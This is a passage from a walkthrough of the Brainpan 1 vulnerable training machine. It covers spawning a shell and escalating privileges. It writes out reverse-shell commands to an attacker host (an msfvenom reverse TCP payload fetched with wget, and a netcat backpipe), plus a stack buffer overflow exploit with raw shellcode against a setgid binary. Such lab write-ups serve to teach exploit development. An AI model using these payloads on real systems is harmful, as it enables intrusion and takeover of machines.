Phase #5: Getting a stable shell
As it can be seen from the screenshot, an unexpected event has happened – we are actually provided a windows prompt, however the overall file structure seems to be linux-like:


To escape from the windows cmd.exe prompt either a regular pty spawn could be used, using the following commands:
\bin\bash -i
\usr\bin\python -c "import pty; pty.spawn('/bin/bash')"The above commands would provide some kind of a bugos pty shell, thus I recommend spawning another shell using either of these two ways I tested:
Method #1: Generate an msfvenom payload
msfvenom -a x86 -p linux/x86/shell_reverse_tcp LHOST=172.16.253.144 LPORT=444 -e x86/shikata_ga_nai -b '\x00' -f elf > shell.bin
\usr\bin\wget http://172.16.253.144:8080/shell.bin \bin\chmod +x shell.bin shell.bin

Method #2: backpipe
You’d be meeting an issue to solve here – the need to escape some of the characters using the windows echo syntax using quotes and writing it to a file without the escaping quotes. This is why on the method below I’m setting the bash command to an environment variable, and then stripping the quotes (there for sure is another way by escaping each required character but this is a neat one):set shell="mknod backpipe p; /bin/sh 0<backpipe | /bin/nc 172.16.253.144 444 1>backpipe" echo %shell:~1,-1% >> shell.sh \bin\chmod +x shell.sh \bin\bash shell.sh

Phase #6: Privilege Escalation
Non-spiler hint (kind of): SGIDSubPhase #1: Enumeration and discovering a vulnerability
Now that a stable shell is present, the system can be enumerated further. Typing the “sudo -l” command on the target provides an interesting script, which can be called without a password prompt:




SubPhase #2: Building an exploit
Finding the correct offset and examining the stack
The next step from here would be to download the validate application and debug it in a local environment. The process is quite similar to the one described in Part 1 although this time there would be a few slight differences. For the purpose you could use any debugger with a GUI – or pwndbg which is a wrapper written in python for gdb and provides useful features that are missing from it. In this post I’ll be using just gdb in its original form along with objdump. To run the vulnerable application called validate in gdb:edb --args ./validate `python -c 'print "A"*116+"B"*4'`


x/x $eip

info registers

set *address (note the star)As the screenshot shows EIP gets overriden with the 4 bytes of B’s sent through the buffer. Running gdb with additional data after EIP, and then inspecting the eax and esp registers would show that the A‘ sent though the buffer reside within the EAX register, and the C‘s sent after the offset where the buffer overflow occurs are stored in ESP:
gdb --xargs ./validate `python -c 'print "A"*116+"B"*4+"C"*350'`




Finding a return address
All that’s left now is to check for bad characters as described in Part I and find an instruction that jumps to either one of the esp or eax registers. Most GUI debuggers have an option to search for an instruction either by itself or by its opcode, however as I’m using gdb and it doesn’t provide this feature I’ll be using objdump along with grep.The bad characters I identified are: 00 0d 0a 20 46
As there’s more shellcode space available to work with in esp I’ll start with this register, and I’ll be using objdump to try to find and address that contains an instruction which points to (or jumps or calls) a register within the stack that holds any data sent through the buffer(esp or eax):

payload = <shellcode> + NOPs * (116-<length of shellcode>) + "<return address>"* Note leading zeroes are omitted from objdump’s output As 116 bytes are not enough for a reverse shell code, and the purpose is to get a shell on behalf of the anansi user who has an sgid bit set on the file which runs on the target, this means that executing a bash prompt when running the file supposedly should work. An msfvenom payload suitable for this purpose is linux/x86/exec which executes a command and is just 70-72 bytes in most cases.
msfvenom -a x86 -p linux/x86/exec CMD=/bin/sh -b '\x00\x0d\x0a\x20\x46' -e x86/shikata_ga_nai -f c
So the payload becomes like this:
./validate `python -c 'print "\xba\xf1\x5c\x77\x54\xd9\xc5\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x0b\x31\x50\x15\x03\x50\x15\x83\xe8\xfc\xe2\x04\x36\x7c\x0c\x7f\x95\xe4\xc4\x52\x79\x60\xf3\xc4\x52\x01\x94\x14\xc5\xca\x06\x7d\x7b\x9c\x24\x2f\x6b\x96\xaa\xcf\x6b\x88\xc8\xa6\x05\xf9\x7f\x50\xda\x52\xd3\x29\x3b\x91\x53"+"\x90"*(116-70)+"\xaf\x84\x04\x08"'`

SubPhase #3: Getting suid
Now that a shell has been spawned with the euid of the user anansi, the file /home/anansi/bin/anansi_util that can be accessed using sudo without a password can be altered:
Conclusion
The vulnerable machine Brainpan 1 covers various exploitation vectors and can serve as an Introduction to both Windows and Linux Exploit development. It also provides an experience in the possible attack vectors and entry points related to Privilege Escalation. To sum it up, an exploit development process consists of the following tasks:-> Fuzzing the application
-> Finding the correct offset where the Buffer Overflow occurs
-> Finding any possible bad characters
-> Looking for shellcode space
-> Finding a return address
-> Generating a payload which would fit into the space available -> Building a payload/exploit code:
-> Keeping payload length consistent would provide a more stable debugging environment
-> Several NOP sleds have to be added to provide the shellcode some space to work with
-> Setting a breakpoint at the return address would provide a proof whether the shellcode is about to execute
-> In case the application doesn’t reach the return address, debug over and check carefully for any additional bad characters that might have been missed.
And now you now why it’s called brainpan.